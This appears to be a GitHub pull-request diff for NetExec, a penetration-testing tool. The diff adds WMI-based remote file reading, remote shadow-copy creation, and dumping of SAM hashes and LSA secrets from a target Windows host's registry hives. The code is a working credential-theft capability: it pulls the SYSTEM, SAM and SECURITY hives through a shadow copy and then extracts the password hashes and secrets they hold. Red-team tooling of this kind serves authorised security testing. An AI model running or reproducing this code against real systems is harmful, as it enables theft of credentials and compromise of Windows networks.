Skip to content
Draft
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
142 changes: 137 additions & 5 deletions nxc/protocols/wmi.py
Original file line number Diff line number Diff line change
@@ -1,20 +1,23 @@
import os
import struct
from io import StringIO

from nxc.helpers.negotiate_parser import parse_challenge
from nxc.config import process_secret
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
from nxc.logger import NXCAdapter
from nxc.protocols.wmi import wmiexec, wmiexec_event
from nxc.protocols.wmi.remoteops import RemoteOperations

from impacket import ntlm
from impacket.uuid import uuidtup_to_bin
from impacket.krb5.ccache import CCache
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
Comment thread
github-code-quality[bot] marked this conversation as resolved.
Fixed
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError, IWbemServices

MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))

Expand Down Expand Up @@ -47,6 +50,8 @@ def __init__(self, args, db, host):
}
self.iWbemLevel1Login = None
self.dcom_conn = None
self.namespaces = {}
self._remote_ops = None

connection.__init__(self, args, db, host)

Expand Down Expand Up @@ -173,8 +178,7 @@ def check_if_admin(self):
else:
try:
self.iWbemLevel1Login = IWbemLevel1Login(iInterface)
_ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.iWbemLevel1Login.RemRelease()
self.get_namespace("//./root/cimv2")
except Exception as e:
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
Expand Down Expand Up @@ -365,6 +369,113 @@ def hash_login(self, domain, username, ntlm_hash):
self.logger.success(out)
return True

def read_file(self, remote_path) -> "None | bytes":
self.logger.debug(f"Try reading file {remote_path}")
escaped_path = remote_path.replace("\\", "\\\\")

# Load the Namespace
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
if powershellv3_namespace is None:
return None

# Read the file
try:
object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"'
iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path)
except DCERPCSessionError as e:
if e.error_code == 0x80041002:
self.logger.debug(f"Cannot find {remote_path} file")
return None

obj = iWbemClassObject.getProperties()

file_data = None
for prop_name, prop_value in obj.items():
if prop_name == "FileData":
file_data = prop_value["value"]
break

if len(file_data) < 4:
return None

# Unpack it
file_length = struct.unpack(">I", bytes(file_data[:4]))[0]
return bytes(file_data[4:4 + file_length])

def get_file_single(self, remote_path, download_path):

if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"

file_data = self.read_file(remote_path)
if file_data is None:
return False
else:

with open(download_path, "wb+") as file:
file.write(file_data)
return True

@requires_admin
def get_file(self):
for src, dest in self.args.get_file:
self.logger.display(f'Copying "{src}" to "{dest}"')
if self.get_file_single(src, dest):
self.logger.success(f'File "{src}" was downloaded to "{dest}"')
else:
self.logger.fail(f'Could not get file "{src}"')

@requires_admin
def sam(self):
output_filename = self.output_file_template.format(output_folder="sam")

bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
self.logger.fail("Could not get Bootkey")
return

# Get the SAM hive
sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM"
if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"):
self.logger.fail("Could not get SAM hive")
return

SAM = SAMHashes(
f"{output_filename}.sam",
bootkey,
isRemote=None,
perSecretCallback=lambda secret: self.logger.highlight(secret),
)
self.logger.display("Dumping SAM hashes")
SAM.dump()
SAM.export(output_filename)

@requires_admin
def lsa(self):
output_filename = self.output_file_template.format(output_folder="lsa")

bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
self.logger.fail("Could not get Bootkey")
return

# Get the LSA hive
lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY"
if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"):
self.logger.fail("Could not get LSA hive")
return

LSA = LSASecrets(
f"{output_filename}.security",
bootkey,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
)
self.logger.display("Dumping LSA secrets")
LSA.dumpCachedHashes()
LSA.dumpSecrets()

@requires_admin
def wmi_query(self, wql=None, namespace=None, callback_func=None):
records = []
Expand All @@ -375,8 +486,7 @@ def wmi_query(self, wql=None, namespace=None, callback_func=None):
namespace = self.args.wmi_namespace

try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
iWbemServices = self.get_namespace(namespace)
iEnumWbemClassObject = iWbemServices.ExecQuery(wql)
except Exception as e:
self.logger.debug(str(e))
Expand Down Expand Up @@ -484,3 +594,25 @@ def execute_psh(self, command=None, get_output=False):
return output
else:
return output

def get_namespace(self, namespace:str) -> IWbemServices:
"""
Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache
"""
if namespace in self.namespaces:
return self.namespaces[namespace]
self.logger.debug(f"Getting namespace {namespace}")
try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
except Exception as e:
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
return None
self.namespaces[namespace] = iWbemServices
return self.namespaces[namespace]

@property
def remote_ops(self):
if self._remote_ops is None:
self._remote_ops = RemoteOperations(self)
return self._remote_ops
6 changes: 6 additions & 0 deletions nxc/protocols/wmi/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,17 @@ def proto_args(parser, parents):

cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering")
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")

egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query")
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)")

files_group = wmi_parser.add_argument_group("File Operations")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")

cgroup = wmi_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output")
Expand Down
80 changes: 80 additions & 0 deletions nxc/protocols/wmi/remoteops.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
from impacket.examples.secretsdump import LocalOperations

class RemoteOperations:
def __init__(self, context, shadow_id:str = None):
self.context = context

self.cimv2_namespace = self.context.get_namespace("//./root/cimv2")

# Cached variables
self.bootkey = None
self._shadow_id = shadow_id
self._shadow_copy_path = None

# Keep track if we created a Shadow Copy to delete it later
self.shadow_copy_created = False

def __del__(self):
# If we created a Shadow Copy, delete it
if self.shadow_copy_created:
wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"'
self.context.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}")
ret = self.cimv2_namespace.DeleteInstance(wmiPath)
if (ret.GetCallStatus(0) & 0xffffffff) != 0:
self.context.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.")
else:
self.context.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted")

def create_shadowcopy(self) -> str:
# Creating Shadow Volumes
shadow_id = None
try:
win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy")
self.context.logger.debug("Trying to create SS remotely via WMI")
result = win32_shadow_copy.Create("C:\\", "ClientAccessible")
self.shadow_copy_created = True
shadow_id = result.ShadowID
self.context.logger.debug(f"Shadow Copy created at ID {shadow_id}")
except Exception as e:
self.context.logger.debug(f"Cannot create ShadowCopy: {e}")
return shadow_id

def get_shadowcopy_path(self, shadow_id: str = None) -> str:
if shadow_id is None:
shadow_id = self.shadow_id
device_object = None
try:
iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"')
obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0]
props = obj.getProperties()
shadow_copy = {k: v["value"] for k, v in props.items()}
device_object = shadow_copy['DeviceObject']
self.context.logger.debug(f"Found ShadowCopy at {device_object}")
except Exception as e:
self.context.logger.debug(f"Cannot found ShadowCopy with ID {shadow_id} :{e}")
return device_object

@property
def shadow_id(self):
if self._shadow_id is None:
self._shadow_id = self.create_shadowcopy()
return self._shadow_id

@property
def shadow_copy_path(self):
if self._shadow_copy_path is None:
self._shadow_copy_path = self.get_shadowcopy_path()
Comment thread
github-code-quality[bot] marked this conversation as resolved.
Fixed
return self._shadow_copy_path

def get_bootkey(self, output_filename):
if self.bootkey is not None:
return self.bootkey

system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM"
system_hive_recovered = self.context.get_file_single(system_hive_path, f"{output_filename}.system")
if system_hive_recovered:
self.context.logger.debug("Got SYSTEM hive")

local_operations = LocalOperations(f"{output_filename}.system")
self.bootkey = local_operations.getBootKey()
return self.bootkey
10 changes: 5 additions & 5 deletions poetry.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ dependencies = [
"xmltodict>=0.13.0",
# Git Dependencies
"certipy-ad @ git+https://github.com/Pennyw0rth/Certipy",
"impacket @ git+https://github.com/fortra/impacket",
"impacket @ git+https://github.com/Pennyw0rth/impacket#wmi_update",
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
]

Expand Down
Loading